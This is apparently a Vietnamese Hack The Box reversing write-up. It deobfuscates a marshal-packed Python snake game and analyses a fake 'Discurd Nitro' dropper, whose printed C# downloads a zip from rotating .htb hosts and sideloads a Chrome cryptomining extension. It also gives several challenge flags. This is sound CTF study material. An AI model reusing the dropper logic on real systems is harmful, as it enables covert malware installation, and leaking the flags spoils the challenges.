Try   HackMD

Hack The Box - Reversing (Easy Part 3)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ghi chú:

Difficulty: Easy

Challenge 15: Snakecode

We found this ancient text inscribed on a stone tablet. We believe it describes the history and technology of a mighty but extinct civilization, but we can't be certain as it's written in a dead language. Can you use your specialist knowledge to uncover the truth, and recover their technology?

Download Challenge Here

Solution

Trong thử thách này mình sẽ sử dụng Kali thay cho Windows như thường lệ vì việc cài pyenv lên Unix OS dễ dàng hơn (vì phải dùng đúng phiên bản python để dịch ngược file .pyc). Chỉ cần làm chính xác hướng dẫn

import marshal, types, time
ll = types.FunctionType(marshal.loads(('YwEAAAABAAAABQAAAEMAAABzNAAAAHQAAGoBAHQCAGoDAHQEAGQBAIMBAGoFAHwAAGoGAGQCAIMB\nAIMBAIMBAHQHAIMAAIMCAFMoAwAAAE50BAAAAHpsaWJ0BgAAAGJhc2U2NCgIAAAAdAUAAAB0eXBl\nc3QMAAAARnVuY3Rpb25UeXBldAcAAABtYXJzaGFsdAUAAABsb2Fkc3QKAAAAX19pbXBvcnRfX3QK\nAAAAZGVjb21wcmVzc3QGAAAAZGVjb2RldAcAAABnbG9iYWxzKAEAAAB0AQAAAHMoAAAAACgAAAAA\ncwcAAAA8c3RkaW4+dAoAAABsb2FkTGFtYmRhAQAAAHQAAAAA\n').decode('base64')), globals())
i0 = ll('eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5JFiXkp+bkajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGAC+nBJh\n')
i1 = ll('eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5LJpUXFqcUajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGADEORJ1\n')
f0 = ll('eJxLZmRgYABhJiB2BuJiXiBRw8CQxcCQwsjQzMgQrAGS8ssEEgwaIJUl7CAiMzc1v7QEIsAMJMoz\n8zTASkBEMUiJTXFJSmaeXQkHiJ2TmJuUkmgHVg5SAQBjWRD5\n')
f1 = ll('eJxLZmRgYIBhZyAu5gISNQwMWQwMzQwMwRogcT8wWcIKJNJTS5IzIFxmIFGemacBpBjARDE7kLAp\nLknJzLMr4QCxcxJzk1IS7cDKQSoAvuUPJw==\n')
f2 = ll('eJx1kL1uwkAQhOfOBsxPQZUmL+DOEnWUBghEQQbFIESVglUkY5ECX+lHoMz7Jrt7HCgSOWlGO/rm\n1tbtIwBBY1b9zdYYkEFlcRqiAQoWxaginDJhjcUBijNQy+O24jxgfzsHdTxOFB8DtoqPoK7HPcXn\ngCPFZ1BfcUGsdMA/lpc/fEqeUBq21Mp0L0rv/3grX/f5aELlbryVYzbXZnub7j42K5dcxslym7vu\nJby/zubrK1pMX9apPLOTraReqe9T3SlWd9ieakfl17OTb36OpFE/CDQDE5vHv7K/FKBNmA==\n')
f3 = ll('eJxVj00KAjEMhV+b8Q9040IZT9C9WxHEvRvBC1iFUhhk2sUIIwgexLWn1KQzI9qSl/DlhaZHDSDj\nII4tR3ix1IBVyK1GXitImt/0l1JDSSih1rAZfIZyI4x9BRIkeKA8SLeF1Dl9clIHG+c9OakdZ35O\nT/o+yiciZI2Hgvpt702Pt925Nx/HFZwSGbIYqaL87FS5aKSIgi5JbZR/F1WTrkZmk4QByypE64p1\nap6X4g8LaaoZ3zFGfzFVE/UBTuovhA==\n')
f4 = ll('eJw1zDsKgEAMBNCJilb2drZ7AEuxsbfxBOIHFFkWNqWdF3eyYJEXkgxZcwB/jazYkkdwUeAVCAcV\nW3F4MjTt7ISZyWVUS7KEsPtN7cW9e2ddLeKTIXk7gkSsSB91O/2g9uToLBELO0otH2W6Ez8=\n')
f5 = ll('eJxdjr0OwjAMhM9J+as6M7HTF0AsiKV7F54ACJUKVaiSjOnEi2MbISQGf4rtu3OuMwBSBVfDFQdG\nBhzwMAgNMsER1s58+wJ3Hlm4Ai/z33YGE+A1IrNljnBBtiLYT1ZSf2sr6lMt19u+ZPYQkGDJqA0j\nycfap7+lBT/C2bveJ/UkEQ7KqByTGMbPKNQSpojiPMTEzqNKup2aKlnShramopJW5g2ipyUM\n')
f6 = ll('eJxdjTEOglAQRB98iMbEKxhLbkBjaLSwsrHWBEUJCRKULTT5VFzc3W9nMS+zk93ZqwNS1UK1VQ17\nRQ0CVcQUsTvljO4vWjEmSIRP8A4PXn3MlHKOea4DlxyzWMsOjXUHK/bpVXb1TWy855kF2gN9SPo2\nDD9+At8Zdm4YZorNIFXTFTI335aPS1UWtie28QV3xx4p\n')
f7 = ll('eJxtjz8LwjAQxV/S1mrRxcnZKat/qyAuOrv0E4ilIJRS2hsUCg7OfmcvubZTIe/97nKPcHkEADpd\nWPWPjYCGj0Kj0fjIfHwVqiWIbzxbJ6SHEleQ1yf8ocQHFLSJqgKN+nTYVUUEGndNCiRG8UY3M7F7\nabb7TrAS7AVrQSw4CDaCreBo7CfJPvdy/nZeummZuyY3bHBWh2ynmtJncXaRLLaJem6HaqGiVlMV\n6Zn+Azn/L1k=\n')
f8 = ll('eJwljr0KAkEMhCf3o2hrIb7BlWIhFiKC1jYWViKHe+qKnHob0GKt7sVNcsV8ZDeTSc45gJ5oINqI\nwkkQgTvQAvRdgwmO0BK2xxl+uTUTxBwugUtxT8EZIiHKZ4o21dZE7FLRe4yD+nMLixlchvG+0KU7\nPxR6EVjhSVDoKazt86MqG6uasr5WrI3SucCNbJPEp685keIy576aqktThVs3r0kf48s8r4c9Ogaj\nL3SnIej8MrDz9aqLXJhPzwMNaURT4R/aUC0X\n')
a1 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWwNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALI0C1U=\n')
a2 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALBMC00=\n')
a3 = ll('eJw10EtLw0AUBeAzTWLqo74bML8gSyFdiotm40rEZF+kRyVtCGKmqzar/nHvHBDmfty5c+fBrB2A\niUVuUVkMG4MOnIARGIMJeAKm4BQ8Bc9UsfwcvABn/5VL8Aq81tINeAveKb/Hd47R4WDDTp5j7hEm\nR4fsoS4yu+7Vh1e8yEYu5V7WciffZCl/5UpW8l162cuF3Mq1fJSUY5uYhTZFRvfZF+EvfOCnU89X\ngdATGFLjafBs+2e1fJShY4jDomvcH1q4K9U=\n')
a4 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcRQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALCJC04=\n')
a5 = ll('eJxNzTELwjAQBeCXS4r6TzKJP6DUgruLq0s1S7BKIRkqJP/dd3Hp8D4ex3H3NAA6xjEXJo2kAHeH\nalAF1aI6FINg8BIsZxTZdM5lM2/95i2PXCNBPBCvzeubLOR4yvp2bX6bS3P+LyppR/qUQ/wMea99\nnt6PMA26l/SKxQ/XGxky\n')
a6 = ll('eJwlzLsKwkAQheF/L0afw2qr4AOENOnT2NpEgyDGENgtFHbfPTNrcT6G4cw8DHCQeMkgiWchw81T\nDMVSHMWTDdnytGTHu+Ea9G4MAkHPkxXaS9L1t/qrbtXlX1TiUehiml9rn046L9PnPk+99qJ+cewN\nxxM9\n')
a7 = ll('eJwlzLEKwjAQxvF/rhF9jk6Zig8gXdy7uLq0FqFYRUiGFpJ39y4O34/j+O4eDjhovOaqia2S4e4p\njiKUhuLJjiw8hex5Cbdgd0NQCHaeROnOydZbda9+q+u/aMSjcolpXj59Otm8ju9pHnvrRfvS8AMM\nqhM6\n')
a8 = ll('eJxLZmRgYABhJiB2BuJiPiBRw8CQwsgglsLEkM3EEKzBDBTyy2QFkplAzKABJkCaSkBEjgZcsJgd\nSNgUl6Rk5tmVcIDYOYm5SSmJdmDFIBUAVDAM/Q==\n')
a9 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcQQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBAK+VC0o=\n')
m0 = ll('eJw1jTELwjAUhC9Jq/0VzhldBAfr4u7i6mYpFFSKCXRJp/7x3rsi5L5Avnsvrx0AS8PcmNQSGSg8\nDsWjBJQKS42nxwzMQSog09b/gsrs9AGP6LjhHr3tMfSn7TpH+yebfYtJHGXH7eknTpGAkPbEJeVu\n+F5V/Bw1Wpl0B7cCYGsZOw==\n')
m1 = ll('eJw1zUEKAjEMBdCfdMQreIRuRwU3Mhv3bjzCDAOCitCAm7rqxU1+cZGX0v408wbAvy5e5eQYUAUm\nqAnNHdASvsJLhSVUBpryoPG6Km5ZfPaah/hBnXXf29jbsbdDjl0W2Tdd6IN+6JwdkLJ1zsWW+2vi\n/HOMRIklkJ38AF2QGOk=\n')
m2 = ll('eJxNjj8LAjEMxV96fz+Fk0NHdT5c3F1cD5c7BEHlsAWXdrov7kuKICS/0LyXpFMP4JcnZrgSEUgM\nQXJIDVKLtcHokAWZKvsVUm0eGjr1rC3GCplBW/03Xpy2hM5bj4sXnjh7p4cUz30pO6+fiKouxtn6\ny8MehcH4MU7GtydgCB0xhDjfX8ey8mAzrYqyka18AW5IIKw=\n')

def snake(w):
    r = i0()
    c = i1()
    f0(w)
    d = (0, 1)
    p = [(5, 5)]
    pl = 1
    s = 0
    l = None
    while 1:
        p, d, pl, l, s, w, c, r = m2(p, d, pl, l, s, w, c, r)
        time.sleep(0.4)

    return


i1().wrapper(snake)

Để biết thêm về marshal

Hàm marshal.loads(bytes) trong Python được sử dụng để chuyển đổi đối tượng byte sang giá trị Python. Nó sử dụng mã hóa marshal để giải mã dữ liệu byte và tạo lại cấu trúc dữ liệu ban đầu.

marshal-to-pyc.py là một đoạn mã được sử dụng để marshaled Python code objects thành .pyc files. Các tệp .pyc này chứa mã byte đã được biên dịch, có thể được trình thông dịch Python thực thi hiệu quả hơn so với mã nguồn gốc ban đầu.

​​​​┌──(kali㉿kali)-[~/Desktop]
​​​​└─$ echo -n 'YwEAAAABAAAABQAAAEMAAABzNAAAAHQAAGoBAHQCAGoDAHQEAGQBAIMBAGoFAHwAAGoGAGQCAIMBAIMBAIMBAHQHAIMAAIMCAFMoAwAAAE50BAAAAHpsaWJ0BgAAAGJhc2U2NCgIAAAAdAUAAAB0eXBlc3QMAAAARnVuY3Rpb25UeXBldAcAAABtYXJzaGFsdAUAAABsb2Fkc3QKAAAAX19pbXBvcnRfX3QKAAAAZGVjb21wcmVzc3QGAAAAZGVjb2RldAcAAABnbG9iYWxzKAEAAAB0AQAAAHMoAAAAACgAAAAAcwcAAAA8c3RkaW4+dAoAAABsb2FkTGFtYmRhAQAAAHQAAAAA' | base64 -d >> ll.bin

​​​​┌──(kali㉿kali)-[~/Desktop]
​​​​└─$ python marshal-to-pyc.py ll.bin 
​​​​----------------------------------------------------------------------------------------                                                                                                                                                                                                              
​​​​┌──(kali㉿kali)-[~/Desktop]
​​​​└─$ cat ll.bin.py
​​​​# uncompyle6 version 3.9.0
​​​​# Python bytecode version base 2.7 (62211)
​​​​# Decompiled from: Python 2.7.18 (default, Nov 21 2023, 01:37:17) 
​​​​# [GCC 13.2.0]
​​​​# Embedded file name: <stdin>
​​​​# Compiled at: 2023-11-21 01:42:29
​​​​return types.FunctionType(marshal.loads(__import__('zlib').decompress(s.decode('base64'))), globals())                                                                                                                                                                                    

Tất cả các tham số khác sẽ được tải vào ll(), bây giờ chúng ta sẽ sử dụng zlib.decompress() giá trị còn lại.

import zlib
import base64 
import os

try:
    os.mkdir("dumpByte")
    print("Folder created successfully.")
except FileExistsError:
    print("Folder already exists.")

def ll(name, data):
    with open("dumpByte/"+name, "wb") as fp:
        fp.write(zlib.decompress(base64.b64decode(data)))
i0 = ll('i0','eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5JFiXkp+bkajCB5kKL4+Mzcgvyikvh4DZABCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGAC+nBJh')
i1 = ll('i1','eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5LJpUXFqcUajCB5kKL4+Mzcgvyikvh4DZABCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGADEORJ1')
f0 = ll('f0','eJxLZmRgYABhJiB2BuJiXiBRw8CQxcCQwsjQzMgQrAGS8ssEEgwaIJUl7CAiMzc1v7QEIsAMJMoz8zTASkBEMUiJTXFJSmaeXQkHiJ2TmJuUkmgHVg5SAQBjWRD5')
f1 = ll('f1','eJxLZmRgYIBhZyAu5gISNQwMWQwMzQwMwRogcT8wWcIKJNJTS5IzIFxmIFGemacBpBjARDE7kLApLknJzLMr4QCxcxJzk1IS7cDKQSoAvuUPJw==')
f2 = ll('f2','eJx1kL1uwkAQhOfOBsxPQZUmL+DOEnWUBghEQQbFIESVglUkY5ECX+lHoMz7Jrt7HCgSOWlGO/rm1tbtIwBBY1b9zdYYkEFlcRqiAQoWxaginDJhjcUBijNQy+O24jxgfzsHdTxOFB8DtoqPoK7HPcXngCPFZ1BfcUGsdMA/lpc/fEqeUBq21Mp0L0rv/3grX/f5aELlbryVYzbXZnub7j42K5dcxslym7vuJby/zubrK1pMX9apPLOTraReqe9T3SlWd9ieakfl17OTb36OpFE/CDQDE5vHv7K/FKBNmA==')
f3 = ll('f3','eJxVj00KAjEMhV+b8Q9040IZT9C9WxHEvRvBC1iFUhhk2sUIIwgexLWn1KQzI9qSl/DlhaZHDSDjII4tR3ix1IBVyK1GXitImt/0l1JDSSih1rAZfIZyI4x9BRIkeKA8SLeF1Dl9clIHG+c9OakdZ35OT/o+yiciZI2Hgvpt702Pt925Nx/HFZwSGbIYqaL87FS5aKSIgi5JbZR/F1WTrkZmk4QByypE64p1ap6X4g8LaaoZ3zFGfzFVE/UBTuovhA==')
f4 = ll('f4','eJw1zDsKgEAMBNCJilb2drZ7AEuxsbfxBOIHFFkWNqWdF3eyYJEXkgxZcwB/jazYkkdwUeAVCAcVW3F4MjTt7ISZyWVUS7KEsPtN7cW9e2ddLeKTIXk7gkSsSB91O/2g9uToLBELO0otH2W6Ez8=')
f5 = ll('f5','eJxdjr0OwjAMhM9J+as6M7HTF0AsiKV7F54ACJUKVaiSjOnEi2MbISQGf4rtu3OuMwBSBVfDFQdGBhzwMAgNMsER1s58+wJ3Hlm4Ai/z33YGE+A1IrNljnBBtiLYT1ZSf2sr6lMt19u+ZPYQkGDJqA0jycfap7+lBT/C2bveJ/UkEQ7KqByTGMbPKNQSpojiPMTEzqNKup2aKlnShramopJW5g2ipyUM')
f6 = ll('f6','eJxdjTEOglAQRB98iMbEKxhLbkBjaLSwsrHWBEUJCRKULTT5VFzc3W9nMS+zk93ZqwNS1UK1VQ17RQ0CVcQUsTvljO4vWjEmSIRP8A4PXn3MlHKOea4DlxyzWMsOjXUHK/bpVXb1TWy855kF2gN9SPo2DD9+At8Zdm4YZorNIFXTFTI335aPS1UWtie28QV3xx4p')
f7 = ll('f7','eJxtjz8LwjAQxV/S1mrRxcnZKat/qyAuOrv0E4ilIJRS2hsUCg7OfmcvubZTIe/97nKPcHkEADpdWPWPjYCGj0Kj0fjIfHwVqiWIbzxbJ6SHEleQ1yf8ocQHFLSJqgKN+nTYVUUEGndNCiRG8UY3M7F7abb7TrAS7AVrQSw4CDaCreBo7CfJPvdy/nZeummZuyY3bHBWh2ynmtJncXaRLLaJem6HaqGiVlMV6Zn+Azn/L1k=')
f8 = ll('f8','eJwljr0KAkEMhCf3o2hrIb7BlWIhFiKC1jYWViKHe+qKnHob0GKt7sVNcsV8ZDeTSc45gJ5oINqIwkkQgTvQAvRdgwmO0BK2xxl+uTUTxBwugUtxT8EZIiHKZ4o21dZE7FLRe4yD+nMLixlchvG+0KU7PxR6EVjhSVDoKazt86MqG6uasr5WrI3SucCNbJPEp685keIy576aqktThVs3r0kf48s8r4c9OgajL3SnIej8MrDz9aqLXJhPzwMNaURT4R/aUC0X')
a1 = ll('a1','eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWwNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOYm5SSaAdWDFIBALI0C1U=')
a2 = ll('a2','eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOYm5SSaAdWDFIBALBMC00=')
a3 = ll('a3','eJw10EtLw0AUBeAzTWLqo74bML8gSyFdiotm40rEZF+kRyVtCGKmqzar/nHvHBDmfty5c+fBrB2AiUVuUVkMG4MOnIARGIMJeAKm4BQ8Bc9UsfwcvABn/5VL8Aq81tINeAveKb/Hd47R4WDDTp5j7hEmR4fsoS4yu+7Vh1e8yEYu5V7WciffZCl/5UpW8l162cuF3Mq1fJSUY5uYhTZFRvfZF+EvfOCnU89XgdATGFLjafBs+2e1fJShY4jDomvcH1q4K9U=')
a4 = ll('a4','eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcRQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOYm5SSaAdWDFIBALCJC04=')
a5 = ll('a5','eJxNzTELwjAQBeCXS4r6TzKJP6DUgruLq0s1S7BKIRkqJP/dd3Hp8D4ex3H3NAA6xjEXJo2kAHeHalAF1aI6FINg8BIsZxTZdM5lM2/95i2PXCNBPBCvzeubLOR4yvp2bX6bS3P+LyppR/qUQ/wMea99nt6PMA26l/SKxQ/XGxky')
a6 = ll('a6','eJwlzLsKwkAQheF/L0afw2qr4AOENOnT2NpEgyDGENgtFHbfPTNrcT6G4cw8DHCQeMkgiWchw81TDMVSHMWTDdnytGTHu+Ea9G4MAkHPkxXaS9L1t/qrbtXlX1TiUehiml9rn046L9PnPk+99qJ+cewNxxM9')
a7 = ll('a7','eJwlzLEKwjAQxvF/rhF9jk6Zig8gXdy7uLq0FqFYRUiGFpJ39y4O34/j+O4eDjhovOaqia2S4e4pjiKUhuLJjiw8hex5Cbdgd0NQCHaeROnOydZbda9+q+u/aMSjcolpXj59Otm8ju9pHnvrRfvS8AMMqhM6')
a8 = ll('a8','eJxLZmRgYABhJiB2BuJiPiBRw8CQwsgglsLEkM3EEKzBDBTyy2QFkplAzKABJkCaSkBEjgZcsJgdSNgUl6Rk5tmVcIDYOYm5SSmJdmDFIBUAVDAM/Q==')
a9 = ll('a9','eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcQQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOYm5SSaAdWDFIBAK+VC0o=')
m0 = ll('m0','eJw1jTELwjAUhC9Jq/0VzhldBAfr4u7i6mYpFFSKCXRJp/7x3rsi5L5Avnsvrx0AS8PcmNQSGSg8DsWjBJQKS42nxwzMQSog09b/gsrs9AGP6LjhHr3tMfSn7TpH+yebfYtJHGXH7eknTpGAkPbEJeVu+F5V/Bw1Wpl0B7cCYGsZOw==')
m1 = ll('m1','eJw1zUEKAjEMBdCfdMQreIRuRwU3Mhv3bjzCDAOCitCAm7rqxU1+cZGX0v408wbAvy5e5eQYUAUmqAnNHdASvsJLhSVUBpryoPG6Km5ZfPaah/hBnXXf29jbsbdDjl0W2Tdd6IN+6JwdkLJ1zsWW+2vi/HOMRIklkJ38AF2QGOk=')
m2 = ll('m2','eJxNjj8LAjEMxV96fz+Fk0NHdT5c3F1cD5c7BEHlsAWXdrov7kuKICS/0LyXpFMP4JcnZrgSEUgMQXJIDVKLtcHokAWZKvsVUm0eGjr1rC3GCplBW/03Xpy2hM5bj4sXnjh7p4cUz30pO6+fiKouxtn6y8MehcH4MU7GtydgCB0xhDjfX8ey8mAzrYqyka18AW5IIKw=')
┌──(kali㉿kali)-[~/Desktop/dumpByte]
└─$ for x in *; do python ../marshal-to-pyc.py $x; done

┌──(kali㉿kali)-[~/Desktop/dumpByte]
└─$ for x in *.py; do more +7 $x; done 

┌──(kali㉿kali)-[~/Desktop/dumpByte]
└─$ more +7 a3.py
f = ['H', 'T', 'B', '{', 'S', 'u', 'P', '3', 'r', '_', 'S', '3', 'C', 'R', 
 't', '_', 'S', 'n', '4', 'k', '3', 'c', '0', 'd', '3', '}']
Flag: HTB{SuP3r_S3CRt_Sn4k3c0d3}

Challenge 16: ChromeMiner

Discurd has filed a DMCA violation regarding a popular browser extension claiming to be conducting VIP giveaways on the company's product. The addon store has since taken down the extension to prevent any potential browser cryptomining malware from being distributed in the marketplace. Could you investigate what the 'Discurd Nitro Giveaway' addon does exactly?

Download Challenge Here

Solution

Chúng ta có thể sử dụng lệnh 'file' để cung cấp cái nhìn tổng quan về loại tệp.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mở chương trình trong dnSpy.

private static void Main(string[] args)
{
	Random random = new Random();
	List<string> list = new List<string>
	{
		"priyacareers",
		"perfectdemos",
		"bussiness-z",
		"cablingpoint",
		"corporatebusinessmachines"
	};
	int index = random.Next(list.Count);
	using (WebClient webClient = new WebClient())
	{
		webClient.DownloadFile(new Uri("https://" + list[index] + ".htb/c2VjcmV0/archive.zip?k=ZGlzY3VyZG5pdHJ1"), "archive.zip");
	}
	ZipFile.ExtractToDirectory("archive.zip", "DiscurdNitru");
	string text = Registry.GetValue("HKEY_CLASSES_ROOT\\ChromeHTML\\shell\\open\\command", null, null) as string;
	if (text != null)
	{
		string[] array = text.Split(new char[]
		{
			'"'
		});
		text = ((array.Length >= 2) ? array[1] : null);
	}
	Process.Start(text, "--load-extension=\"" + Path.Combine(Environment.CurrentDirectory, "DiscurdNitru") + "\" -restore-last-session, --noerrdialogs, --disable-session-crashed-bubble");
}

Chương trình này chọn miền ngẫu nhiên để tải xuống tệp ZIP từ một URL cụ thể được tạo. Sau khi tải xuống, nó trích xuất nội dung của tệp ZIP vào thư mục có tên DiscurdNitru.

Sau đó, nó bắt đầu một quy trình mới (Chrome) với các đối số dòng lệnh được chỉ định, tải tiện ích mở rộng từ thư mục “DiscurdNitru”. Ta thêm với đường dẫn /c2VjcmV0/archive.zip?k=ZGlzY3VyZG5pdHJ1 để tải về archivev.zip và giải nén nó.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mở background.js trong js-beautify

Mọi thứ đã bị làm rối, tôi đã cố gắng thử in từng khối mã và tìm được một vài thông tin tốt.

#key
print("18.3 " + q[0xb3] + q[0x44d] + q[0x115] + q[0x12c] + q[0x272] + q[0x18a] + q[0x189] + q[0x433] + q[0x3ed] + q[0x99] + q[0x332] + q[0x127] + q[0x32f] + q[0x4f1] + q[0x2dc] + q[0x58f] + q[0x32e] + q[0x482] + q[0x225] + q[0x326] + q[0x22b] + q[0x396] + q[0x341] + q[0x3c5] + q[0x31c] + q[0x1d8] + q[0x5a7] + q[0x18c] + q[0x196] + q[0x274] + q[0x54f] + q[0x81])
print("18.4 " + q[0x28f] + q[0xd2] + q[0x51] + q[0x1f8] + q[0x501] + q[0x1a1] + q[0x411] + q[0x277] + q[0x1c4] + q[0x245] + q[0x21a] + q[0x1e9] + q[0x168] + q[0x49c] + q[0xa0] + q[0x61] + q[0x467] + q[0xc5] + q[0x317] + q[0x15d] + q[0x34b] + q[0x4b9] + q[0x5bb] + q[0x8c] + q[0xd1] + q[0x25b] + q[0xe3] + q[0x548] + q[0x1b7] + q[0x3c2] + q[0x2e6] + q[0x59d])
print("18.5 " + q[0x2f9] + q[0x82] + q[0x4d6] + q[0x486] + q[0x487] + q[0xc1] + q[0x3ca] + q[0xa8] + q[0x5ac] + q[0x4dc] + q[0x305] + q[0x102] + q[0x12f] + q[0x266] + q[0xdf] + q[0x19] + q[0x410] + q[0x321] + q[0x3b5] + q[0x68] + q[0x211] + q[0x14e] + q[0x2f7] + q[0x478] + q[0x443] + q[0x509] + q[0x24a] + q[0x59a] + q[0x365] + q[0x117] + q[0x5aa] + q[0x1b])
print("18.6 " + q[0x1b8] + q[0x3e0] + q[0x1f] + q[0xbb] + q[0x3a4] + q[0x259] + q[0x596] + q[0x1e4] + q[0x2a4] + q[0x470] + q[0x38d] + q[0x555] + q[0x375] + q[0x24c] + q[0xbd] + q[0x26e] + q[0x526] + q[0x322] + q[0x42d] + q[0x35] + q[0x11b] + q[0x158] + q[0x309] + q[0x41a] + q[0x89] + q[0x59f] + q[0x26] + q[0x2ca] + q[0x36] + q[0x21d] + q[0x2bd] + q[0x320])
print("18.7 " + q[0x3c1] + q[0x88] + q[0x388] + q[0x3b6] + q[0x381] + q[0xb0] + q[0x577] + q[0x3d1] + q[0x3c8] + q[0x1c2] + q[0x67] + q[0x3b2] + q[0x46] + q[0x18] + q[0x344] + q[0x465] + q[0x491] + q[0x24] + q[0x41c] + q[0x409] + q[0x579] + q[0x1e1] + q[0x3c4] + q[0x2f8] + q[0x421] + q[0x47d] + q[0x20a] + q[0x204] + q[0x254] + q[0x8] + q[0xb9] + q[0x293])
print("18.8 " + q[0xe4] + q[0x6e] + q[0x1e0] + q[0x475] + q[0x13e] + q[0x1fe] + q[0x1c8] + q[0x2a5] + q[0xfe] + q[0x333] + q[0x4de] + q[0x15c] + q[0x367] + q[0x4f3] + q[0x31f] + q[0x377] + q[0x5be] + q[0x2af] + q[0x140] + q[0x56e] + q[0xa3] + q[0x180] + q[0x429] + q[0x372] + q[0x4ab] + q[0x553] + q[0x6a] + q[0x514] + q[0x198] + q[0x4d1] + q[0x15a] + q[0x442])


#IV
print("17.1 " + q[0x298] + q[0x1a6] + q[0x454] + q[0x3bd] + q[0x3e] + q[0x499] + q[0x48c] + q[0x4b5] + q[0x11f] + q[0x53] + q[0x35d] + q[0xbf] + q[0x29a] + q[0x3d8] + q[0x458] + q[0x17c] + q[0x2d7] + q[0x307] + q[0x4ce] + q[0x431] + q[0x31d] + q[0x6f] + q[0x3ec] + q[0x463] + q[0xfc] + q[0x588] + q[0x4db] + q[0x3f7] + q[0x530] + q[0x340] + q[0x312] + q[0x22f])
print("17.2 " + q[0x2f9] + q[0x82] + q[0x4d6] + q[0x486] + q[0x487] + q[0xc1] + q[0x3ca] + q[0xa8] + q[0x5ac] + q[0x4dc] + q[0x305] + q[0x102] + q[0x12f] + q[0x266] + q[0xdf] + q[0x19] + q[0x410] + q[0x321] + q[0x3b5] + q[0x68] + q[0x211] + q[0x14e] + q[0x2f7] + q[0x478] + q[0x443] + q[0x509] + q[0x24a] + q[0x59a] + q[0x365] + q[0x117] + q[0x5aa] + q[0x1b])
print("17.3 " + q[0x1b8] + q[0x3e0] + q[0x1f] + q[0xbb] + q[0x3a4] + q[0x259] + q[0x596] + q[0x1e4] + q[0x2a4] + q[0x470] + q[0x38d] + q[0x555] + q[0x375] + q[0x24c] + q[0xbd] + q[0x26e] + q[0x526] + q[0x322] + q[0x42d] + q[0x35] + q[0x11b] + q[0x158] + q[0x309] + q[0x41a] + q[0x89] + q[0x59f] + q[0x26] + q[0x2ca] + q[0x36] + q[0x21d] + q[0x2bd] + q[0x320])
print("17.4 " + q[0x3c1] + q[0x88] + q[0x388] + q[0x3b6] + q[0x381] + q[0xb0] + q[0x577] + q[0x3d1] + q[0x3c8] + q[0x1c2] + q[0x67] + q[0x3b2] + q[0x46] + q[0x18] + q[0x344] + q[0x465] + q[0x491] + q[0x24] + q[0x41c] + q[0x409] + q[0x579] + q[0x1e1] + q[0x3c4] + q[0x2f8] + q[0x421] + q[0x47d] + q[0x20a] + q[0x204] + q[0x254] + q[0x8] + q[0xb9] + q[0x293])
print("17.5 " + q[0xe4] + q[0x6e] + q[0x1e0] + q[0x475] + q[0x13e] + q[0x1fe] + q[0x1c8] + q[0x2a5] + q[0xfe] + q[0x333] + q[0x4de] + q[0x15c] + q[0x367] + q[0x4f3] + q[0x31f] + q[0x377] + q[0x5be] + q[0x2af] + q[0x140] + q[0x56e] + q[0xa3] + q[0x180] + q[0x429] + q[0x372] + q[0x4ab] + q[0x553] + q[0x6a] + q[0x514] + q[0x198] + q[0x4d1] + q[0x15a] + q[0x442])

#cipher
print("20.3 " + q[0x212] + q[0x1d1] + q[0x582] + q[0x355] + q[0x2c9] + q[0x479] + q[0x19f] + q[0xb6] + q[0x10a] + q[0x2cb] + q[0x3b8] + q[0x4d5] + q[0xf] + q[0x55c] + q[0x29e] + q[0x384] + q[0x403] + q[0x1d7] + q[0x94] + q[0x30f] + q[0x349] + q[0x4a4] + q[0x4c9] + q[0x34] + q[0x459] + q[0x4a6] + q[0x16f] + q[0x1a9] + q[0x437] + q[0x175] + q[0xa] + q[0x534])

  • Algorithms: AES
  • Mode: CBC
  • IV: NOT_THE_SECRET
  • Key: NOT_THE_SECRET

image

Flag: HTB{__mY_vRy_owN_CHR0me_M1N3R__}

Challenge 17: Ouija

You've made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can't understand a word. You've enlisted a medium who can translate it, but they like to take their time

Download Challenge Here

Solution

Chúng ta có thể sử dụng lệnh 'file' để cung cấp cái nhìn tổng quan về loại tệp.

image

Chương trình này có rất nhiều hàm sleep(), chúng ta có thể patch các đoạn sleep() bằng NOP hoặc sử dụng ROT13 với số vòng quay = 18.

image

Flag: HTB{Sleping_is_not_obfuscation}

Challenge 18: Secured Transfer

Ghosts have been sending messages to each other through the aether, but we can't understand a word of it! Can you understand their riddles?

Download Challenge Here

Solution

